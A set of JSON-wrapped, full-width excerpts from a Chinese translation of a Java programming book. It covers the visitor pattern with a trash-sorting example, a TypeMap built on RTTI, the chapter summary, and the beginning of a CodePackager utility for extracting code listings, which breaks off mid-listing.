Ｐａｐｅｒ： ￥＂ ＋ ｐＳｕｍ ＋ ＂＼ｎ＂ ＋ ＂Ｔｏｔａｌ Ｇｌａｓｓ： ￥＂ ＋ ｇＳｕｍ ＋ ＂＼ｎ＂ ＋ ＂Ｔｏｔａｌ Ｃａｒｄｂｏａｒｄ： ￥＂ ＋ ｃＳｕｍ）； ｝ ｝ ｃｌａｓｓ ＷｅｉｇｈｔＶｉｓｉｔｏｒ ｉｍｐｌｅｍｅｎｔｓ Ｖｉｓｉｔｏｒ ｛ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ａｌＳｕｍ； ／／ Ａｌｕｍｉｎｕｍ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｐＳｕｍ； ／／ Ｐａｐｅｒ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｇＳｕｍ； ／／ Ｇｌａｓｓ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｃＳｕｍ； ／／ Ｃａｒｄｂｏａｒｄ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＡｌｕｍｉｎｕｍ ａｌ） ｛ ａｌＳｕｍ ＋＝ ａｌ．ｗｅｉｇｈｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｗｅｉｇｈｔ ｏｆ Ａｌｕｍｉｎｕｍ ＝ ＂ ＋ ａｌ．ｗｅｉｇｈｔ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＰａｐｅｒ ｐ） ｛ ｐＳｕｍ ＋＝ ｐ．ｗｅｉｇｈｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｗｅｉｇｈｔ ｏｆ Ｐａｐｅｒ ＝ ＂ ＋ ｐ．ｗｅｉｇｈｔ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＧｌａｓｓ ｇ） ｛ ｇＳｕｍ ＋＝ ｇ．ｗｅｉｇｈｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｗｅｉｇｈｔ ｏｆ Ｇｌａｓｓ ＝ ＂ ＋ ｇ．ｗｅｉｇｈｔ（））； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｖｉｓｉｔ（ＶＣａｒｄｂｏａｒｄ ｃ） ｛ ｃＳｕｍ ＋＝ ｃ．ｗｅｉｇｈｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｗｅｉｇｈｔ ｏｆ Ｃａｒｄｂｏａｒｄ ＝ ＂ ＋ ｃ．ｗｅｉｇｈｔ（））； ｝ ｖｏｉｄ ｔｏｔａｌ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｗｅｉｇｈｔ Ａｌｕｍｉｎｕｍ：＂ ＋ ａｌＳｕｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｗｅｉｇｈｔ Ｐａｐｅｒ：＂ ＋ ｐＳｕｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｗｅｉｇｈｔ Ｇｌａｓｓ：＂ ＋ ｇＳｕｍ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｏｔａｌ ｗｅｉｇｈｔ Ｃａｒｄｂｏａｒｄ：＂ ＋ ｃＳｕｍ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＴｒａｓｈＶｉｓｉｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｖｅｃｔｏｒ ｂｉｎ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ／／ ＰａｒｓｅＴｒａｓｈ ｓｔｉｌｌ ｗｏｒｋｓ， ｗｉｔｈｏｕｔ ｃｈａｎｇｅｓ： ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂ＶＴｒａｓｈ．ｄａｔ＂， ｂｉｎ）； ／／ Ｙｏｕ ｃｏｕｌｄ ｅｖｅｎ ｉｔｅｒａｔｅ ｔｈｒｏｕｇｈ ／／ ａ ｌｉｓｔ ｏｆ ｖｉｓｉｔｏｒｓ！ ６１７ ＰｒｉｃｅＶｉｓｉｔｏｒ ｐｖ ＝ ｎｅｗ ＰｒｉｃｅＶｉｓｉｔｏｒ（）； ＷｅｉｇｈｔＶｉｓｉｔｏｒ ｗｖ ＝ ｎｅｗ ＷｅｉｇｈｔＶｉｓｉｔｏｒ（）； Ｅｎｕｍｅｒａｔｉｏｎ ｉｔ ＝ ｂｉｎ．ｅｌｅｍｅｎｔｓ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） ｛ Ｖｉｓｉｔａｂｌｅ ｖ ＝ （Ｖｉｓｉｔａｂｌｅ）ｉｔ．ｎｅｘｔＥｌｅｍｅｎｔ（）； ｖ．ａｃｃｅｐｔ（ｐｖ）； ｖ．ａｃｃｅｐｔ（ｗｖ）； ｝ ｐｖ．ｔｏｔａｌ（）； ｗｖ．ｔｏｔａｌ（）；"},
    {"text": "对比之前介绍过的双重派遣方案，区分这两种方案的一个办法是：在双重派遣方案中，每个子类创建时只会 过载其中的一个过载方法，即 ａｄｄ（）。"},
    {"text": "然而， 在它们所代表的类集内部，也存在着高度的凝聚力：都只做一件事情（Ｔｒａｓｈ 描述垃圾或废品，而 Ｖｉｓｉｔｏｒ 描述对垃圾采取什么行动）。"},
    {"text": "１ ６ ． ８ Ｒ Ｔ Ｔ Ｉ 真的有害吗 本章的各种设计方案都在努力避免使用 ＲＴＴＩ，这或许会给大家留下“ＲＴＴＩ 有害”的印象（还记得可怜的 ｇｏｔｏ 吗，由于给人印象不佳，根本就没有放到 Ｊａｖａ 里来）。"},
    {"text": "由于 ＲＴＴＩ 常被滥用（让它查找系统中的每一种类型），会造成代码的扩展能力大打折扣——添加一种新类型时， 必须找出使用了 ＲＴＴＩ 的所有代码。"},
    {"text": "其中包含了一个 Ｈａｓｈｔａｂｌｅ（散列表），其中容纳了多个 Ｖｅｃｔｏｒ， 但接口非常简单：可以添加（ａｄｄ（））一个新对象，可以获得（ｇｅｔ（））一个 Ｖｅｃｔｏｒ，其中包含了属于某种特 定类型的所有对象。"},
    {"text": "我们的例子同样建立在 ｃ１６．Ｔｒａｓｈ 这个“包”（Ｐａｃｋａｇｅ）内的 Ｔｒａｓｈ 类型结构的基础上（而且那儿使用的 Ｔｒａｓｈ．ｄａｔ 文件可以照搬到这里来）。"},
    {"text": "／／： ＤｙｎａＴｒａｓｈ．ｊａｖａ ／／ Ｕｓｉｎｇ ａ Ｈａｓｈｔａｂｌｅ ｏｆ Ｖｅｃｔｏｒｓ ａｎｄ ＲＴＴＩ ／／ ｔｏ ａｕｔｏｍａｔｉｃａｌｌｙ ｓｏｒｔ ｔｒａｓｈ ｉｎｔｏ ／／ ｖｅｃｔｏｒｓ． Ｔｈｉｓ ｓｏｌｕｔｉｏｎ， ｄｅｓｐ ｉｔｅ ｔｈｅ ６１８ ／／ ｕｓｅ ｏｆ ＲＴＴＩ， ｉｓ ｅｘｔｅｎｓｉｂｌｅ． ｐａｃｋａｇｅ ｃ１６．ｄｙｎａｔｒａｓｈ；"},
    {"text": "ｉｍｐｏｒｔ ｃ１６．ｔｒａｓｈ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ／／ Ｇｅｎｅｒｉｃ ＴｙｐｅＭａｐ ｗｏｒｋｓ ｉｎ ａｎｙ ｓｉｔｕａｔｉｏｎ： ｃｌａｓｓ ＴｙｐｅＭａｐ ｛ ｐｒｉｖａｔｅ Ｈａｓｈｔａｂｌｅ ｔ ＝ ｎｅｗ Ｈａｓｈｔａｂｌｅ（）； ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄ（Ｏｂｊｅｃｔ ｏ） ｛ Ｃｌａｓｓ ｔｙｐｅ ＝ ｏ．ｇｅｔＣｌａｓｓ（）； ｉｆ（ｔ．ｃｏｎｔａｉｎｓＫｅｙ（ｔｙｐｅ）） （（Ｖｅｃｔｏｒ）ｔ．ｇｅｔ（ｔｙｐｅ））．ａｄｄＥｌｅｍｅｎｔ（ｏ）； ｅｌｓｅ ｛ Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｖ．ａｄｄＥｌｅｍｅｎｔ（ｏ）； ｔ．ｐｕｔ（ｔｙｐｅ，ｖ）； ｝ ｝ ｐｕｂｌｉｃ Ｖｅｃｔｏｒ ｇｅｔ（Ｃｌａｓｓ ｔｙｐｅ） ｛ ｒｅｔｕｒｎ （Ｖｅｃｔｏｒ）ｔ．ｇｅｔ（ｔｙｐｅ）； ｝ ｐｕｂｌｉｃ Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ（） ｛ ｒｅｔｕｒｎ ｔ．ｋｅｙｓ（）； ｝ ／／ Ｒｅｔｕｒｎｓ ｈａｎｄｌｅ ｔｏ ａｄａｐｔｅｒ ｃｌａｓｓ ｔｏ ａｌｌｏｗ ／／ ｃａｌｌｂａｃｋｓ ｆｒｏｍ ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（）： ｐｕｂｌｉｃ Ｆｉｌｌａｂｌｅ ｆｉｌｌｅｒ（） ｛ ／／ Ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓ： ｒｅｔｕｒｎ ｎｅｗ Ｆｉｌｌａｂｌｅ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＴｒａｓｈ（Ｔｒａｓｈ ｔ） ｛ ａｄｄ（ｔ）；"},
    {"text": "｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＤｙｎａＴｒａｓｈ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＴｙｐｅＭａｐ ｂｉｎ ＝ ｎｅｗ ＴｙｐｅＭａｐ（）； ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂Ｔｒａｓｈ．ｄａｔ＂，ｂｉｎ．ｆｉｌｌｅｒ（））； Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ ＝ ｂｉｎ．ｋｅｙｓ（）； ｗｈｉｌｅ（ｋｅｙｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ ｂｉｎ．ｇｅｔ（（Ｃｌａｓｓ）ｋｅｙｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）））；"},
    {"text": "利用 ｋｅｙｓ（） ，可以得到对所有 Ｃｌａｓｓ 对象的一个“枚举”（Ｅｎｕｍｅｒａｔｉｏｎ），而且可用 ｇｅｔ（），可通过 Ｃｌａｓｓ 对象获取对应的 Ｖｅｃｔｏｒ。"},
    {"text": "ｆｉｌｌｅｒ（）方法非常有趣，因为它利用了 ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（）的设计——不仅能尝试填充一个 Ｖｅｃｔｏｒ，也能 用它的 ａｄｄＴｒａｓｈ（）方法试着填充实现了 Ｆｉｌｌａｂｌｅ（可填充）接口的任何东西。 ｆｉｌｔｅｒ（） 需要做的全部事情就 是将一个句柄返回给实现了 Ｆｉｌｌａｂｌｅ 的一个接口，然后将这个句柄作为参数传递给 ｆｉｌｌＢｉｎ（），就象下面这 ６１９ 样： ＰａｒｓｅＴｒａｓｈ．ｆｉｌｌＢｉｎ（＂Ｔｒａｓｈ．ｄａｔ＂， ｂｉｎ．ｆｉｌｌｅｒ（））；"},
    {"text": "为产生这个句柄，我们采用了一个“匿名内部类”（已在第 ７ 章讲述）。 由于根本不需要用一个已命名的类 来实现 Ｆｉｌｌａｂｌｅ ，只需要属于那个类的一个对象的句柄即可，所以这里使用匿名内部类是非常恰当的。"},
    {"text": "对这个设计，要注意的一个地方是尽管没有设计成对归类加以控制，但在 ｆｉｌｌＢｉｎ（）每次进行归类的时候， 都会将一个 Ｔｒａｓｈ 对象插入 ｂｉｎ。"},
    {"text": "由于 ｂｉｎ 的类型为 ＴｙｐｅＭａｐ，所以将垃圾（Ｔｒａｓｈ）丢进垃圾筒（Ｂｉｎ） 的时候，ＴｙｐｅＭａｐ 的内部归类机制会立即进行适当的分类。"},
    {"text": "在 ＴｙｐｅＭａｐ 里遍历并对每个独立的 Ｖｅｃｔｏｒ 进行操 作，这是一件相当简单的事情： Ｅｎｕｍｅｒａｔｉｏｎ ｋｅｙｓ ＝ ｂｉｎ．ｋｅｙｓ（）；"},
    {"text": "ｗｈｉｌｅ（ｋｅｙｓ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）） Ｔｒａｓｈ．ｓｕｍＶａｌｕｅ（ ｂｉｎ．ｇｅｔ（（Ｃｌａｓｓ）ｋｅｙｓ．ｎｅｘｔＥｌｅｍｅｎｔ（）））；"},
    {"text": "１ ６ ． ９ 总结 从表面看，由于象 ＴｒａｓｈＶｉｓｉｔｏｒ．ｊａｖａ 这样的设计包含了比早期设计数量更多的代码，所以会留下效率不高 的印象。"},
    {"text": "之所以发生变化，可能是由于程 序进入一个新环境，或者由于当前环境的一些东西发生了变化（例如“用户希望在屏幕上当前显示的图示中 添加一种新的几何形状”）。"},
    {"text": "尽管废品分类 以前的例子强调了新型 Ｔｒａｓｈ 向系统的加入，但 ＴｒａｓｈＶｉｓｉｔｏｒ．ｊａｖａ 允许我们方便地添加新功能，同时不会 对 Ｔｒａｓｈ 结构造成干扰。"},
    {"text": "除 非进入项目设计的后期，否则一些必要的信息是不会显露出来的：有时只有进入设计或最终实现阶段，才能 体会到对自己系统一个更深入或更不易察觉需要。"},
    {"text": "添加新类型时（这是“回收”例子最主要的一个重点）， 可能会意识到只有自己进入维护阶段，而且开始扩充系统时，才需要一个特定的继承结构。"},
    {"text": "通过设计范式的学习，大家可体会到最重要的一件事情就是本书一直宣扬的一个观点——多形性是 ＯＯＰ（面 向对象程序设计）的全部——已发生了彻底的改变。"},
    {"text": "ＪｉｍＣｏｐｌｉｅｎ（ｈｔｔｐ：／／ｗｗｗ．ｂｅｌｌ－ｌａｂｓ．ｃｏｍ／￣ｃｏｐｅ 主页作者）向我们 推荐了这样的一些站点，上面有许多很有价值的范式说明： ｈｔｔｐ：／／ｓｔ－ｗｗｗ．ｃｓ．ｕｉｕｃ．ｅｄｕ／ｕｓｅｒｓ／ｐａｔｔｅｒｎｓ ｈｔｔｐ：／／ｃ２．ｃｏｍ／ｃｇｉ／ｗｉｋｉ ｈｔｔｐ：／／ｃ２．ｃｏｍ／ｐｐｒ ｈｔｔｐ：／／ｗｗｗ．ｂｅｌｌ－ｌａｂｓ．ｃｏｍ／ｐｅｏｐｌｅ／ｃｏｐｅ／Ｐａｔｔｅｒｎｓ／Ｐｒｏｃｅｓｓ／ｉｎｄｅｘ．ｈｔｍｌ ｈｔｔｐ：／／ｗｗｗ．ｂｅｌｌ－ｌａｂｓ．ｃｏｍ／ｃｇｉ－ｕｓｅｒ／ＯｒｇＰａｔｔｅｒｎｓ／ＯｒｇＰａｔｔｅｒｎｓ ｈｔｔｐ：／／ｓｔ－ｗｗｗ．ｃｓ．ｕｉｕｃ．ｅｄｕ／ｃｇｉ－ｂｉｎ／ｗｉｋｉｃ／ｗｉｋｉｃ ｈｔｔｐ：／／ｗｗｗ．ｃｓ．ｗｕｓｔｌ．ｅｄｕ／￣ｓｃｈｍｉｄｔ／ｐａｔｔｅｒｎｓ．ｈｔｍｌ ６２０ ｈｔｔｐ：／／ｗｗｗ．ｅｓｐｉｎｃ．ｃｏｍ／ｐａｔｔｅｒｎｓ／ｏｖｅｒｖｉｅｗ．ｈｔｍｌ 同时请留意每年都要召开一届权威性的设计范式会议，名为 ＰＬＯＰ。"},
    {"text": "（２） 为 ＴｒａｓｈＶｉｓｉｔｏｒ．ｊａｖａ 添加一个名为 Ｐｌａｓｔｉｃ（塑料）的类。 （３） 为 ＤｙｎａＴｒａｓｈ．ｊａｖａ 同样添加一个 Ｐｌａｓｔｉｃ（塑料）类。"},
    {"text": "１ ７ ． １ ． １ 提取代码列表 对于本书每一个完整的代码列表（不是代码段），大家无疑会注意到它们都用特殊的注释记号起始与结束 （＇／／：＇和＇／／／：￣＇）。"},
    {"text": "ＣｏｄｅＰａｃｋａｇｅｒ 程序有两种运行模式（在 ｕｓａｇｅＳｔｒｉｎｇ 有相应的描述）：如果使用－ｐ 标志，程序就会检查一个包含了 ＡＳＣＩＩ 文本（即本书的内容）的 一个输入文件。"},
    {"text": "程序还要对包（ｐａｃｋａｇｅ）名进行跟踪，从而监视章内发生的变化。 由于每一章使用的所有包 都以 ｃ０２，ｃ０３，ｃ０４ 等等起头，用于标记它们所属的是哪一章（除那些以 ｃｏｍ 起头的以外，它们在对不同的 章进行跟踪的时候会被忽略）——只要每一章的第一个代码列表包含了一个 ｐａｃｋａｇｅ，所以 ＣｏｄｅＰａｃｋａｇｅｒ 程 序能知道每一章发生的变化，并将后续的文件放到新的子目录里。"},
    {"text": "然而，Ｊａｖａ 有一种特殊类型 的 ＩＯ 数据流——ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ——它可以保证“无论数据来自何种机器，只要使用一个 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 收取这些数据，就可用本机正确的格式保存它们”。"},
    {"text": "用户可从 Ｗｅｂ 下载这个文件以及 Ｊａｖａ 程序，然后对这个文件运行 ＣｏｄｅＰａｃｋａｇｅｒ，同时不指 定－ｐ 标志，文件便会释放到系统中正确的场所（亦可指定另一个子目录；"},
    {"text": "下面是完整的代码，后面会对它进行详细的说明： ／／： ＣｏｄｅＰａｃｋａｇｅｒ．ｊａｖａ ／／ ＂Ｐａｃｋｓ＂ ａｎｄ ＂ｕｎｐａｃｋｓ＂ ｔｈｅ ｃｏｄｅ ｉｎ ＂Ｔｈｉｎｋｉｎｇ ／／ ｉｎ Ｊａｖａ＂ ｆｏｒ ｃｒｏｓｓ－ｐｌａｔｆｏｒｍ ｄｉｓｔｒｉｂｕｔｉｏｎ． ６２２ ／＊ Ｃｏｍｍｅｎｔｅｄ ｓｏ ＣｏｄｅＰａｃｋａｇｅｒ ｓｅｅｓ ｉｔ ａｎｄ ｓｔａｒｔｓ ａ ｎｅｗ ｃｈａｐｔｅｒ ｄｉｒｅｃｔｏｒｙ， ｂｕｔ ｓｏ ｙｏｕ ｄｏｎ＇ｔ ｈａｖｅ ｔｏ ｗｏｒｒｙ ａｂｏｕｔ ｔｈｅ ｄｉｒｅｃｔｏｒｙ ｗｈｅｒｅ ｔｈｉｓ ｐｒｏｇｒａｍ ｌｉｖｅｓ： ｐａｃｋａｇｅ ｃ１７；"},
    {"text": "＊／ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｃｌａｓｓ Ｐｒ ｛ ｓｔａｔｉｃ ｖｏｉｄ ｅｒｒｏｒ（Ｓｔｒｉｎｇ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂ＥＲＲＯＲ： ＂ ＋ ｅ）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｝ ｃｌａｓｓ ＩＯ ｛ ｓｔａｔｉｃ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｄｉｓＯｐｅｎ（Ｆｉｌｅ ｆ） ｛ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ｆ））； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｆ）； ｝ ｒｅｔｕｒｎ ｉｎ； ｝ ｓｔａｔｉｃ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｄｉｓＯｐｅｎ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｛ ｒｅｔｕｒｎ ｄｉｓＯｐｅｎ（ｎｅｗ Ｆｉｌｅ（ｆｎａｍｅ））； ｝ ｓｔａｔｉｃ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｄｏｓＯｐｅｎ（Ｆｉｌｅ ｆ） ｛ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ（ｆ）））； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｆ）； ｝ ｒｅｔｕｒｎ ｉｎ； ｝ ｓｔａｔｉｃ ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｄｏｓＯｐｅｎ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｛ ｒｅｔｕｒｎ ｄｏｓＯｐｅｎ（ｎｅｗ Ｆｉｌｅ（ｆｎａｍｅ））； ｝ ｓｔａｔｉｃ ＰｒｉｎｔＷｒｉｔｅｒ ｐｓＯｐｅｎ（Ｆｉｌｅ ｆ） ｛ ＰｒｉｎｔＷｒｉｔｅｒ ｉｎ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＰｒｉｎｔＷｒｉｔｅｒ（ ｎｅｗ ＢｕｆｆｅｒｅｄＷｒｉｔｅｒ（ ｎｅｗ ＦｉｌｅＷｒｉｔｅｒ（ｆ）））； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｆ）； ６２３ ｝ ｒｅｔｕｒｎ ｉｎ； ｝ ｓｔａｔｉｃ ＰｒｉｎｔＷｒｉｔｅｒ ｐｓＯｐｅｎ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｛ ｒｅｔｕｒｎ ｐｓＯｐｅｎ（ｎｅｗ Ｆｉｌｅ（ｆｎａｍｅ））； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｃｌｏｓｅ（Ｗｒｉｔｅｒ ｏｓ） ｛ ｔｒｙ ｛ ｏｓ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｌｏｓｉｎｇ ＂ ＋ ｏｓ）； ｝ ｝ ｓｔａｔｉｃ ｖｏｉｄ ｃｌｏｓｅ（ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ ｏｓ） ｛ ｔｒｙ ｛ ｏｓ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｌｏｓｉｎｇ ＂ ＋ ｏｓ）； ｝ ｝ ｓｔａｔｉｃ ｖｏｉｄ ｃｌｏｓｅ（Ｒｅａｄｅｒ ｏｓ） ｛ ｔｒｙ ｛ ｏｓ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｐｒ．ｅｒｒｏｒ（＂ｃｌｏｓｉｎｇ ＂ ＋ ｏｓ）； ｝ ｝ ｝ ｃｌａｓｓ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ Ｓｔｒｉｎｇ ｓｔａｒｔＭａｒｋｅｒ ＝ ＂／／：＂， ／／ Ｓｔａｒｔ ｏｆ ｓｏｕｒｃｅ ｆｉｌｅ ｅｎｄＭａｒｋｅｒ ＝ ＂｝ ／／／：￣＂， ／／ Ｅｎｄ ｏｆ ｓｏｕｒｃｅ ｅｎｄＭａｒｋｅｒ２ ＝ ＂｝； ／／／：￣＂， ／／ Ｃ＋＋ ｆｉｌｅ ｅｎｄ ｂｅｇｉｎＣｏｎｔｉｎｕｅ ＝ ＂｝ ／／／：Ｃｏｎｔｉｎｕｅｄ＂， ｅｎｄＣｏｎｔｉｎｕｅ ＝ ＂／／／：Ｃｏｎｔｉｎｕｉｎｇ＂， ｐａｃｋＭａｒｋｅｒ ＝ ＂＃＃＃＂， ／／ Ｐａｃｋｅｄ ｆｉｌｅ ｈｅａｄｅｒ ｔａｇ ｅｏｌ ＝ ／／ Ｌｉｎｅ ｓｅｐａｒａｔｏｒ ｏｎ ｃｕｒｒｅｎｔ ｓｙｓｔｅｍ Ｓｙｓｔｅｍ．ｇｅｔＰｒｏｐｅｒｔｙ（＂ｌｉｎｅ．ｓｅｐａｒａｔｏｒ＂）， ｆｉｌｅｓｅｐ ＝ ／／ Ｓｙｓｔｅｍ＇ｓ ｆｉｌｅ ｐａｔｈ ｓｅｐａｒａｔｏｒ Ｓｙｓｔｅｍ．ｇｅｔＰｒｏｐｅｒｔｙ（＂ｆｉｌｅ．ｓｅｐａｒａｔｏｒ＂）； ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｃｏｐｙｒｉｇｈｔ ＝ ＂＂； ｓｔａｔｉｃ ｛ ｔｒｙ ｛ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｃｒ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（＂Ｃｏｐｙｒｉｇｈｔ．ｔｘｔ＂））； Ｓｔｒｉｎｇ ｃｒｉｎ； ｗｈｉｌｅ（（ｃｒｉｎ ＝ ｃｒ．ｒｅａｄＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） ｃｏｐｙｒｉｇｈｔ ＋＝ ｃｒｉｎ ＋ ＂＼ｎ＂； ｃｒ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ６２４ ｃｏｐｙｒｉｇｈｔ ＝ ＂＂； ｝ ｝ ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｆｉｌｅｎａｍｅ， ｄｉｒｎａｍｅ， ｃｏｎｔｅｎｔｓ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｐｒｉｖａｔｅ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｃｈａｐｔｅｒ ＝ ＂ｃ０２＂； ／／ Ｔｈｅ ｆｉｌｅ ｎａｍｅ ｓｅｐａｒａｔｏｒ ｆｒｏｍ ｔｈｅ ｏｌｄ ｓｙｓｔｅｍ： ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｔｒｉｎｇ ｏｌｄｓｅｐ； ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｄｉｒｎａｍｅ ＋ ｆｉｌｅｓｅｐ ＋ ｆｉｌｅｎａｍｅ；"},
    {"text": "｝ ／／ Ｃｏｎｓｔｒｕｃｔｏｒ ｆｏｒ ｐａｒｓｉｎｇ ｆｒｏｍ ｄｏｃｕｍｅｎｔ ｆｉｌｅ： ｐｕｂｌｉｃ ＳｏｕｒｃｅＣｏｄｅＦｉｌｅ（Ｓｔｒｉｎｇ ｆｉｒｓｔＬｉｎｅ， ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ） ｛ ｄｉｒｎａｍｅ ＝ ｃｈａｐｔｅｒ； ／／ Ｓｋｉｐ ｐａｓｔ ｍａｒｋｅｒ： ｆｉｌｅｎａｍｅ ＝ ｆｉｒｓｔＬｉｎｅ．ｓｕｂｓｔｒｉｎｇ（ ｓｔａｒｔＭａｒｋｅｒ．ｌｅｎｇｔｈ（））．ｔｒｉｍ（）； ／／ Ｆｉｎｄ ｓｐａｃｅ ｔｈａｔ ｔｅｒｍｉｎａｔｅｓ ｆｉｌｅ ｎａｍｅ： ｉｆ（ｆｉｌｅｎａｍｅ．ｉｎｄｅｘＯｆ（＇ ＇） ！ ＝ －１） ｆｉｌｅｎａｍｅ ＝ ｆｉｌｅｎａｍｅ．ｓｕｂｓｔｒｉｎｇ（ ０， ｆｉｌｅｎａｍｅ．ｉｎｄｅｘＯｆ（＇ ＇））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｆｏｕｎｄ： ＂ ＋ ｆｉｌｅｎａｍｅ）； ｃｏｎｔｅｎｔｓ ＝ ｆｉｒｓｔＬｉｎｅ ＋ ｅｏｌ； ｉｆ（ｃｏｐｙｒｉｇｈｔ．ｌｅｎｇｔｈ（） ！ ＝ ０） ｃｏｎｔｅｎｔｓ ＋＝ ｃｏｐｙｒｉｇｈｔ ＋ 